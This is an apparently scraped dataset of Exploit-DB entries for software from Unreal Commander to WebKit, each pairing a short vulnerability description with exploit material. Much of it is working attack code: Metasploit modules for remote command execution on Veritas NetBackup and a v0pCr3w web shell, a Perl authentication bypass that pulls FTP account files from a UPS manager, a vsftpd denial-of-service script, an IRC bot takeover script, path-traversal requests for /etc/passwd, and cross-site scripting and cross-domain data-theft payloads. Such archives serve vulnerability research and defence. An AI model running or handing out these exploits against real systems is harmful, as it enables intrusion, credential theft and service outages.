deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30521
Description: Unreal Commander 0.92 - ZIP / RAR Archive Handling Traversal Arbitrary File Overwrite
Type: remote
Platform: multiple
Date: 2007-08-23
Author: Gynvael Coldwind

Exploit:
source: https://www.securityfocus.com/bid/25419/info

Unreal Commander is prone to multiple remote vulnerabilities when handling malformed ZIP and RAR archives. These vulnerabilities include a directory-traversal vulnerability, an information-disclosure vulnerability, and a filename-spoofing vulnerability.

An attacker can exploit these issues to compromise the affected computer, overwrite arbitrary files, and obtain sensitive information. Exploits of these issues may lead to other attacks.

Unreal Commander 0.92 (build 565) and 0.92 (build 573) are vulnerable; prior versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30521-1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30521-2.zip
Exploit-DB #39186
Description: UPS Web/SNMP-Manager CS121 - Authentication Bypass
Type: remote
Platform: multiple
Date: 2014-05-15
Author: jkmac

Exploit:
source: https://www.securityfocus.com/bid/67438/info

UPS Web/SNMP-Manager CS121 is prone to an authentication-bypass vulnerability.

Attackers can exploit this issue to bypass authentication mechanism and gain access to the HTTP(s), SNMP or Telnet port service. 

#!/usr/bin/perl -w
use IO::Socket;      
use constant MAXBYTES => scalar 1024;      

$socket = IO::Socket::INET->new( PeerPort  => 4000,
                                 PeerAddr  => $ARGV[0],
                                 Type      => SOCK_DGRAM,
                                 Proto     => 'udp');

$socket->send("<VERSION>");
$socket->recv($inline, MAXBYTES);
print "UPS: $inline \n"; 

$socket->send("show syspar");
$socket->recv($inline, MAXBYTES);
print "$inline\n";

print "Searching login\n" ; 
$socket->send("start");
$socket->recv($inline, MAXBYTES);
$socket->send("cd /flash");
$socket->send("type ftp_accounts.txt"); 

while($socket->recv($inline, MAXBYTES)) { 
	 if($inline =~ /admin/ig) { print $inline; exit;  }
}

sleep(1);
Exploit-DB #24905
Description: v0pCr3w (Web Shell) - Remote Code Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2013-03-29
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'v0pCr3w Web Shell Remote Code Execution',
      'Description'    => %q{
          This module exploits a lack of authentication in the shell developed by v0pCr3w
        and is widely reused in automated RFI payloads. This module takes advantage of the
        shell's various methods to execute commands.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'bwall <bwall[at]openbwall.com>',  # vuln discovery & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://defense.ballastsecurity.net/wiki/index.php/V0pCr3w_shell'],
          ['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=f6b534edf37c3cc0aa88997810daf9c0']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 2000,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd'
            }
        },
      'Platform'       => ['unix', 'win'],
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['v0pCr3w / Unix', { 'Platform' => 'unix' } ],
          ['v0pCr3w / Windows', { 'Platform' => 'win' } ]
        ],
      'DisclosureDate' => 'Mar 23 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, "The path to the v0pCr3w shell", "/jos.php"]),
      ],self.class)
  end

  def check
    shell = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path.to_s),
      'vars_get' => {
        'lol' => '1'
      }
    })
    if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/)
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def http_send_command(cmd)
    p = Rex::Text.encode_base64(cmd)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path.to_s),
      'vars_get' => {
        'osc' => p
      }
    })
    if not (res and res.code == 200)
      fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
    end
  end

  def exploit
    http_send_command(payload.encoded)
  end
end
Exploit-DB #33498
Description: Varnish 2.0.6 - 'Terminal Escape Sequence in Logs' Command Injection
Type: remote
Platform: multiple
Date: 2010-01-11
Author: evilaliv3

Exploit:
source: https://www.securityfocus.com/bid/37713/info

Varnish is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Varnish 2.0.6 is vulnerable; other versions may also be affected. 

The following example is available:

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload
Exploit-DB #9941
Description: Veritas NetBackup - Remote Command Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2004-10-21
Author: patrick

Exploit:
##
# $Id: veritas_netbackup_cmdexec.rb 10617 2010-10-09 06:55:52Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VERITAS NetBackup Remote Command Execution',
			'Description'    => %q{
					This module allows arbitrary command execution on an
				ephemeral port opened by Veritas NetBackup, whilst an
				administrator is authenticated. The port is opened and
				allows direct console access as root or SYSTEM from
				any source address.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10617 $',
			'References'     =>
				[
					[ 'CVE', '2004-1389' ],
					[ 'OSVDB', '11026' ],
					[ 'BID', '11494' ],
					[ 'URL', 'http://seer.support.veritas.com/docs/271727.htm' ],

				],
			'Privileged'     => true,
			'Platform'       => ['unix', 'win', 'linux'],
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => '',
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl telnet',
						}
				},
			'Targets'        =>
				[
					['Automatic', { }],
				],
			'DisclosureDate' => 'Oct 21 2004',
			'DefaultTarget' => 0))
	end

	def check
		connect

		sploit = rand_text_alphanumeric(10)
		buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\necho #{sploit}\n"

		sock.put(buf)
		banner = sock.get(3,3)

		disconnect

		if (banner and banner =~ /#{sploit}/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		sploit = payload.encoded.split(" ")

		buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\n"
		buf << payload.encoded
		buf << "\n"

		sock.put(buf)
		res = sock.get(-1,3)

		print_status("#{res}")

		handler
		disconnect
	end

end
Exploit-DB #19127
Description: Verity Search97 2.1 - Security
Type: remote
Platform: multiple
Date: 1998-07-14
Author: Stefan Arentz

Exploit:
source: https://www.securityfocus.com/bid/162/info

A pair of vulnerabilities exist in Verity's Search`97 web interface to the Verity search engine. The first vulnerability is due to cgi-bin scripts, s97_cgi and s97r_cgi failing to check for the existence of certain shell meta characters. This allows an attacker to access any file on the file system.

The second vulnerability is due to a lack of authentication being used to access the Verity administrative program. Any user can telnet to the appropriate port, and issue a command to shut the Verity software down.

s97_cgi:
http://www.xxx.com/search97.vts
?HLNavigate=On&querytext=dcm
&ServerKey=Primary
&ResultTemplate=../../../../../../../etc/passwd
&ResultStyle=simple
&ResultCount=20
&collection=books

tasmgr:
telnet to port 1972

0 Verity dcm ready
list
0 TAS-Primary
status tas-primary
0 TYPE=PROCESS; STATE=RUNNING; STARTUP=AUTO_START; PID=87632
stop tas-primary
0 'tas-primary' signalled
status tas-primary
0 TYPE=PROCESS; STATE=STOPPING; STARTUP=AUTO_START; PID=87632
where
0 /home/verity/_hpux10/bin/dcm.cfg
Exploit-DB #22472
Description: Vignette StoryServer 4.1 - Sensitive Stack Memory Information Disclosure
Type: remote
Platform: multiple
Date: 2003-04-07
Author: @stake

Exploit:
source: https://www.securityfocus.com/bid/7296/info

It has been reported that Vignette StoryServer, under some circumstances may reveal stack memory content.

If a specially crafted request is made for a page that accepts user-supplied data an error state may be triggered. If the attack is successful a dump of the current stack contents will be returned to the attackers browser within an error message.

The information gathered in this way may be used to mount further attacks against the system.

https://www.example.com/securelogin/1,2345,A,00.html?Errmessage="x214>x214
Exploit-DB #24983
Description: Vilistextum 2.6.6 - HTML Attribute Parsing Buffer Overflow
Type: remote
Platform: multiple
Date: 2004-12-15
Author: Ariel Berkman

Exploit:
source: https://www.securityfocus.com/bid/11979/info

Vilistextum is prone to a buffer overflow vulnerability. This issue is exposed when the application parses HTML attributes while converting an HTML file to text/ASCII. Since HTML files will likely originate from an external or untrusted source, this issue should be considered remote in nature.

Successful exploitation will allow for execution of arbitrary code in the context of the user running the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24983.zip
Exploit-DB #15617
Description: VMware 2 Web Server - Directory Traversal
Type: remote
Platform: multiple
Date: 2010-11-25
Author: clshack

Exploit:
# Exploit Title:VMware 2 Web Server Directory Traversal
# Date:15/11/2010
# Author: clshack
# Software Link: http://www.vmware.com/products/server/
# Version:2.0.2
# Tested on: windows xp sp3 en
# CVE :

VMWARE:
http://localhost:8307/

<http://localhost:8307/.../.../.../.../.../boot.ini>
http://localhost:8307/.../.../.../.../.../boot.ini

<http://localhost:8307/.../.../.../.../.../boot.ini>VMware try to load xml
...

-- 
Alessio Dalla Piazza (Personal Blog:
http://www.clshack.it)<http://www.clshack.it>
Exploit-DB #28312
Description: VMware ESX 2.x - Multiple Information Disclosure Vulnerabilities
Type: remote
Platform: multiple
Date: 2006-07-31
Author: Stephen de Vries

Exploit:
source: https://www.securityfocus.com/bid/19249/info

VMware ESX is prone to multiple information-disclosure vulnerabilities. These issues are due to a design error in the application. The following issues were reported:

1. An information disclosure vulnerability that could disclose the session ID, username, and password if an attacker can access session cookies used by the management interface.

2. An information disclosure vulnerability that could expose authentication credentials to local users on the computer hosting the VMWare ESX Server. This vulnerability occurs because authentication credentials are also handled insecurely by the VMWare ESX management interface.

VMware ESX server versions 2.5.3 P2, 2.1.3 P1, 2.0.2, 2.0.2 P1, and 2.5.2 P4 are reported to be vulnerable; other versions may also be affected.

https://www.example.com/sx-users?op=setUsr&ag=&rg=&nm=root&hd=%2Froot&pw=test&pwc=test&grpSlct=
Exploit-DB #33940
Description: VMware View 3.1.x - URL Processing Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2010-05-05
Author: Alexey Sintsov

Exploit:
source: https://www.securityfocus.com/bid/39949/info

VMware View is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects VMware View versions prior to 3.1.3. 

http://www.example.com/not_a_real_page<SCRIPT>alert(/XSS/.source)</SCRIPT>
Exploit-DB #49719
Description: vsftpd 3.0.3 - Remote Denial of Service
Type: remote
Platform: multiple
Date: 2021-03-29
Author: xynmaps

Exploit:
# Exploit Title: vsftpd 3.0.3 - Remote Denial of Service
# Date: 22-03-2021
# Exploit Author: xynmaps
# Vendor Homepage: https://security.appspot.com/vsftpd.html
# Software Link: https://security.appspot.com/downloads/vsftpd-3.0.3.tar.gz
# Version: 3.0.3
# Tested on: Parrot Security OS 5.9.0

#-------------------------------#

#encoding=utf8
#__author__ = XYN/Dump/NSKB3
#VSFTPD Denial of Service exploit by XYN/Dump/NSKB3.
"""
VSFTPD only lets a certain amount of connections to be made to the server, so, by repeatedly making new connections to the server,
you can block other legitimite users from making a connection to the server, if the the connections/ip isn't limited.
(if it's limited, just run this script from different proxies using proxychains, and it will work)
"""

import socket
import sys
import threading
import subprocess
import time

banner = """
._________________.
|     VS-FTPD     |
|      D o S      |
|_________________|
|By XYN/DUMP/NSKB3|
|_|_____________|_|
|_|_|_|_____|_|_|_|
|_|_|_|_|_|_|_|_|_|

"""
usage = "{} <TARGET> <PORT(DEFAULT:21> <MAX_CONNS(DEFAULT:50)>".format(sys.argv[0])

def test(t,p):
	s = socket.socket()
	s.settimeout(10)
	try:
		s.connect((t, p))
		response = s.recv(65535)
		s.close()
		return 0
	except socket.error:
		print("Port {} is not open, please specify a port that is open.".format(p))
		sys.exit()
def attack(targ, po, id):
	try:
		subprocess.Popen("ftp {0} {1}".format(targ, po), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
		#print("Worker {} running".format(id))
	except OSError: pass
def main():
	global target, port, start
	print banner
	try:
		target = sys.argv[1]
	except:
		print usage
		sys.exit()
	try:
		port = int(sys.argv[2])
	except:
		port = 21
	try:
		conns = int(sys.argv[3])
	except:
		conns = 50
	print("[!] Testing if {0}:{1} is open".format(target, port))
	test(target, port)
	print("[+] Port {} open, starting attack...".format(port))
	time.sleep(2)
	print("[+] Attack started on {0}:{1}!".format(target, port))
	def loop(target, port, conns):
		global start
		threading.Thread(target=timer).start()
		while 1:
			for i in range(1, conns + 3):
				t = threading.Thread(target=attack, args=(target,port,i,))
				t.start()
				if i > conns + 2:
					t.join()
					break
					loop()

	t = threading.Thread(target=loop, args=(target, port, conns,))
	t.start()

def timer():
        start = time.time()
        while 1:
                if start < time.time() + float(900): pass
                else:
                        subprocess.Popen("pkill ftp", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                        t = threading.Thread(target=loop, args=(target, port,))
			t.start()
                        break

main()
Exploit-DB #36652
Description: w3tw0rk / Pitbull Perl IRC Bot - Remote Code Execution
Type: remote
Platform: multiple
Date: 2015-04-06
Author: Jay Turla

Exploit:
# thehunter.py
# Exploit Title: Pitbull / w3tw0rk Perl IRC Bot Remote Code Execution
# Author: Jay Turla ( @shipcod3 )
# Description: pitbull-w3tw0rk_hunter is POC exploit for Pitbull or w3tw0rk IRC Bot that takes over the owner of a bot which then allows Remote Code Execution.

import socket
import sys

def usage():
     print("USAGE: python thehunter.py nick \n")  
     
def main(argv):
    
    if len(argv) < 2:
        return usage()

    #irc server connection settings
    botnick = sys.argv[1] #admin payload for taking over the w3wt0rk bot
    server = "us.dal.net" #irc server
    channel = "#buhaypirata" #channel where the bot is located

    irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #defines the socket
    print "connecting to:"+server
    irc.connect((server, 6667)) #connects to the server
    irc.send("USER "+ botnick +" "+ botnick +" "+ botnick +" :I eat w3tw0rk bots!\n") #user authentication
    irc.send("NICK "+ botnick +"\n") #sets nick
    irc.send("JOIN "+ channel +"\n") #join the chan
    irc.send("PRIVMSG "+channel+" :!bot @system 'uname -a' \n") #send the payload to the bot

    while 1:    #puts it in a loop
        text=irc.recv(2040)  #receive the text
        print text   #print text to console

        if text.find('PING') != -1:                          #check if 'PING' is found
            irc.send('PONG ' + text.split() [1] + '\r\n') #returnes 'PONG' back to the server (prevents pinging out!)
        if text.find('!quit') != -1: #quit the Bot
            irc.send ("QUIT\r\n") 
            sys.exit()
        if text.find('Linux') != -1:                         
            irc.send("PRIVMSG "+channel+" :The bot answers to "+botnick+" which allows command execution \r\n")
            irc.send ("QUIT\r\n")
            sys.exit()

if __name__ == "__main__":
    main(sys.argv)
Exploit-DB #25691
Description: Warrior Kings 1.3 And Warrior Kings: Battles 1.23 - Remote Format String
Type: remote
Platform: multiple
Date: 2005-05-23
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/13711/info

Warrior Kings, and Warrior Kings: Battles are vulnerable to a remote format string vulnerability. This issue is due to a failure of the application to securely implement a formatting printing function.

This vulnerability allows remote attackers to crash affected game servers. Due to the nature of this vulnerability, it is also likely that attackers may cause arbitrary machine code to be executed in the context of the affected game server. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25691-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25692.zip
Exploit-DB #22522
Description: Web Protector 2.0 - Trivial Encryption
Type: remote
Platform: multiple
Date: 2003-04-22
Author: rjfix

Exploit:
source: https://www.securityfocus.com/bid/7409/info

Web protector has been reported prone to a trivial encryption weakness.

It has been reported that the method used to obfuscate and protect the HTML source of web pages implementing Web Protector is flawed and may be easily reversed.

This weakness may be exploited to disclose sensitive information contained in HMTL source or to reveal the HTML source itself. Due to the nature of web based obfuscation Sensitive information should never be included in the source of an obfuscated document.

Administrators may be relying on a false sense of security by implementing the protection supplied by Web protector.

It should be noted that although this weakness has been reported to affect Web Protector version 2.0, previous versions are most likely also affected. 

use URI::Escape;
require HTTP::Request;
use LWP::UserAgent;


# Define the page we want to see the HTML source
$html_page = "http://www.protecthtml.com/product/wp/sample21.htm";

$ua = LWP::UserAgent->new;
$request = HTTP::Request->new(GET => $html_page );
$response = $ua->request($request);
if ($response->is_success) {
         $encrypted_html =$response->content;
} else {
        print $response->error_as_HTML;
        exit(0);
}

# Some try to overwrite document.write by doing something like
#       document.write = null;
# so we're going to search the source code for any document.write=
# or its escaped version which is:
#       %64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%3D
$encrypted_html =~ s/document.write[ ]*=(.*)\;/void_var=$1/i;

# -- this is all on the same line --
$encrypted_html =~
s/%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65(%20)*(%3D)(.*)
\;/void_var=$3/i;

# All scripts have to use a document.write to write the decrypted HTML
# to the browser window so all we're going to do is add a <PLAINTEXT>
# tag to make sure that the derypted html is not decoded by the browser
# and instead we see the source code!
# -- this is all on the same line --
$encrypted_html =~ s/document.write[
]*\((.*?)
\)/document.write\(\\\"<PLAINTEXT>\\\"+$1+\\\"<\/PLAINTEXT>\\\"\)/gi;

# -- this is all on the same line --
$encrypted_html =~
s/%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65(%20)*%28(.*?)%
29/document.write\(\\\"<PLAINTEXT>\\\"+$2+\\\"<\/PLAINTEXT>\\\"\)/gi;

open(OUT,">clear_text.html");
print OUT $encrypted_html;

# Some LAME tools don't even try to encrypt the pages they just URL encode
everything
print OUT "<p> Let us try just to Unescape the source! <PLAINTEXT>";
print OUT uri_unescape($response->content);
close(OUT);
Exploit-DB #23893
Description: WebCT Campus Edition 3.8/4.x - HTML Injection
Type: remote
Platform: multiple
Date: 2004-03-29
Author: Simon Boulet

Exploit:
source: https://www.securityfocus.com/bid/9999/info

It has been reported that WebCT Campus Edition may be prone to an HTML injection vulnerability that may allow a remote attacker to execute arbitrary HTML or script code in the browser of an unsuspecting user. A malicious user could supply malicious HTML or script code to the application via the @import url() function of Microsoft Internet Explorer when posting a message on a forum, which would then be rendered in the browser of an unsuspecting user whenever the malicious message is viewed.

WebCT Campus Edition version 4.1 is reported to be affected by this issue. 

<style type="text/css">
@import url(javascript:alert(document.cookie));
</style>
Exploit-DB #10086
Description: WebKit - 'Document()' Remote Information Disclosure
Type: remote
Platform: multiple
Date: 2009-11-12
Author: Chris Evans

Exploit:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:str="http://exslt.org/strings" extension-element-prefixes="str">
<xsl:template match="*">
<html>
<body>
Below, you should see e-mail stolen cross-domain!
<p/>
<xsl:value-of select="document('https://mail.example.com/mail/feed/atom')"/>
<script>
alert(document.body.innerHTML)
</script>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
Exploit-DB #33047
Description: WebKit - 'parent/top' Cross Domain Scripting
Type: remote
Platform: multiple
Date: 2009-05-19
Author: Gareth Hayes

Exploit:
source: https://www.securityfocus.com/bid/35441/info

WebKit is prone to a cross-domain scripting vulnerability.

A remote attacker can exploit this vulnerability to bypass the same-origin policy and obtain potentially sensitive information or launch spoofing attacks against other sites. Other attacks are also possible. 

<iframe src="http://www.example.com/safari/safari2.html" onload="this.contentWindow.parent=this.contentWindow.top=alert;"></iframe>